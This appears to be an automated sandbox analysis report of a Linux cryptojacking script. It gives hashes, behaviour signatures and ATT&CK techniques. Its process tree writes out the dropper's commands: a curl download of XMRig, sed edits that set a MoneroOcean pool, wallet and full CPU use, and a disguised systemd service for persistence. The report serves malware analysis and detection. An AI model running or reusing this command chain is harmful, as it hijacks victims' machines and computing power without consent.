Analysis

  • max time kernel
    2s
  • max time network
    34s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:14

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2496
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2501
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2502
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2505
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2506
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2511
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2512
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2513
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2513
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2513
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2513
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:2514
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:2515
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2516
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:2520
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:2519
                              • /usr/bin/sed
                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                2⤵
                                  PID:2521
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2522
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:2523
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-10\",/" /root/lampp/config.json
                                      2⤵
                                        PID:2524
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:2525
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                            PID:2526
                                          • /usr/bin/sed
                                            sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                            2⤵
                                              PID:2527
                                            • /usr/bin/sed
                                              sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                              2⤵
                                                PID:2528
                                              • /usr/bin/cp
                                                cp /root/lampp/config.json /root/lampp/config_background.json
                                                2⤵
                                                  PID:2529
                                                • /usr/bin/sed
                                                  sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                  2⤵
                                                    PID:2530
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:2531
                                                    • /usr/bin/chmod
                                                      chmod +x /root/lampp/miner.sh
                                                      2⤵
                                                        PID:2532
                                                      • /usr/bin/sudo
                                                        sudo -n true
                                                        2⤵
                                                          PID:2533
                                                          • /usr/bin/true
                                                            true
                                                            3⤵
                                                              PID:2534
                                                          • /usr/bin/grep
                                                            grep MemTotal /proc/meminfo
                                                            2⤵
                                                              PID:2536
                                                            • /usr/bin/awk
                                                              awk "{print \$2}"
                                                              2⤵
                                                                PID:2537
                                                              • /usr/bin/cat
                                                                cat
                                                                2⤵
                                                                  PID:2538
                                                                • /usr/bin/sudo
                                                                  sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  2⤵
                                                                    PID:2539
                                                                    • /usr/bin/mv
                                                                      mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                      3⤵
                                                                        PID:2540
                                                                    • /usr/bin/sudo
                                                                      sudo killall xmrig
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:2541
                                                                      • /usr/bin/killall
                                                                        killall xmrig
                                                                        3⤵
                                                                        • Reads runtime system information
                                                                        PID:2542
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl daemon-reload
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:2543
                                                                      • /usr/bin/systemctl
                                                                        systemctl daemon-reload
                                                                        3⤵
                                                                          PID:2544
                                                                      • /usr/bin/sudo
                                                                        sudo systemctl enable lampp.service
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:2669
                                                                        • /usr/bin/systemctl
                                                                          systemctl enable lampp.service
                                                                          3⤵
                                                                            PID:2670
                                                                        • /usr/bin/sudo
                                                                          sudo systemctl start lampp.service
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:2795
                                                                          • /usr/bin/systemctl
                                                                            systemctl start lampp.service
                                                                            3⤵
                                                                              PID:2796

                                                                        Network

                                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                                        Defense Evasion

                                                                        Virtualization/Sandbox Evasion

                                                                        2
                                                                        T1497

                                                                        Discovery

                                                                        Virtualization/Sandbox Evasion

                                                                        2
                                                                        T1497

                                                                        System Information Discovery

                                                                        3
                                                                        T1082

                                                                        Command and Control

                                                                        Web Service

                                                                        1
                                                                        T1102

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • /root/lampp/config.json
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          f3294129e6b76283965ad86a815bf383

                                                                          SHA1

                                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                                          SHA256

                                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                          SHA512

                                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                        • /root/lampp/miner.sh
                                                                          Filesize

                                                                          253B

                                                                          MD5

                                                                          f96a321a262287ceae164f23f232ed9c

                                                                          SHA1

                                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                                          SHA256

                                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                          SHA512

                                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                        • /root/lampp/sedAva0rx
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          6c792a317107046bf611b4c9726cd161

                                                                          SHA1

                                                                          fb34a3cdfdba3d5bfbe12836e3513a89165b8a81

                                                                          SHA256

                                                                          23926cee8b21eb6e443d76dfed04f4c4f30f29df4a65ceb124f5c01294393856

                                                                          SHA512

                                                                          2736b0ebdc994f99a085c4ee448ae7878aac3245da248ed9783c304178e10992a251943d0500ad407e4872581cf40ae79c00842c80ff4f718ae6ecf6611bdf03

                                                                        • /root/lampp/sedDYnoS6
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          8b11b027dd187104473ee7d661ffe25f

                                                                          SHA1

                                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                          SHA256

                                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                          SHA512

                                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                        • /root/lampp/sedcPM7X6
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          1503dc7d062767c0ff1199f955390f87

                                                                          SHA1

                                                                          729628d1e129ebad6543836228370e8d6b585854

                                                                          SHA256

                                                                          4693b88e5aa6b8d745c1e350d893d09d14cf3e5fe19fcd748e377cc8afd77836

                                                                          SHA512

                                                                          814ef7dc244c48a8b3c3ee4582e737fe91f21cbc7c4665e592db716ad5255fa4a5ec4a2bb6001e541f87fc3c1f27ecb3d6594c56869a807c98c11f96bd09abc6

                                                                        • /root/lampp/sedhZK3D9
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          fbf2b0f758c0b2d921e95a2e8263df15

                                                                          SHA1

                                                                          628609c8dcca2354db12e59de71e7d47ffacedbe

                                                                          SHA256

                                                                          8284f521769eaec96bcb04b214578f9e7476d43da15889420faf788a673f6ede

                                                                          SHA512

                                                                          889d366672b9038641552aab9e99f45a69037b034a838dba9b6f6140f2efac366cb8cdc3c879f1bd9ac9f75dc2a4b1f7e8d394169a5c4adb96f1b7b8fabd7ffe

                                                                        • /root/lampp/sedyGEaKK
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          67edf12dd3410f6131aeedad8fd44e0d

                                                                          SHA1

                                                                          fcf5787e7fb219d5c98eb93e105d9732ae6a94d6

                                                                          SHA256

                                                                          177fb49656820e70cc0808414cbb9f40feba97878d35352fef1bdb4e1816259b

                                                                          SHA512

                                                                          0c065c8eea8048050d56d59c0c661bdfc72827018ef95bb39a0514fca63b54f19c9fabc1cb78b3dce207cfeb4ff4c98953c18eb9ab90557dbffeb2c7ac2fc3d0

                                                                        • /root/lampp/sedz6Jmg0
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          d489ddbbb83271e967b8af615d17d3c7

                                                                          SHA1

                                                                          f0394a367a60e9727269882154098dec802774ef

                                                                          SHA256

                                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                          SHA512

                                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                        • /root/lampp/xmrig
                                                                          Filesize

                                                                          8.4MB

                                                                          MD5

                                                                          e6b2f9d13d45c128b44cb5405df9ab39

                                                                          SHA1

                                                                          c07326f69240e3d22d134d156528af3bd5d0497b

                                                                          SHA256

                                                                          96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                                          SHA512

                                                                          4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                                        • /tmp/lampp.service
                                                                          Filesize

                                                                          177B

                                                                          MD5

                                                                          540c899b78585827e807a62f7345eaf5

                                                                          SHA1

                                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                          SHA256

                                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                          SHA512

                                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                        • /tmp/xmrig.tar.gz
                                                                          Filesize

                                                                          3.4MB

                                                                          MD5

                                                                          e003a3ec8bdd61151a61cadf950502c4

                                                                          SHA1

                                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                          SHA256

                                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                          SHA512

                                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9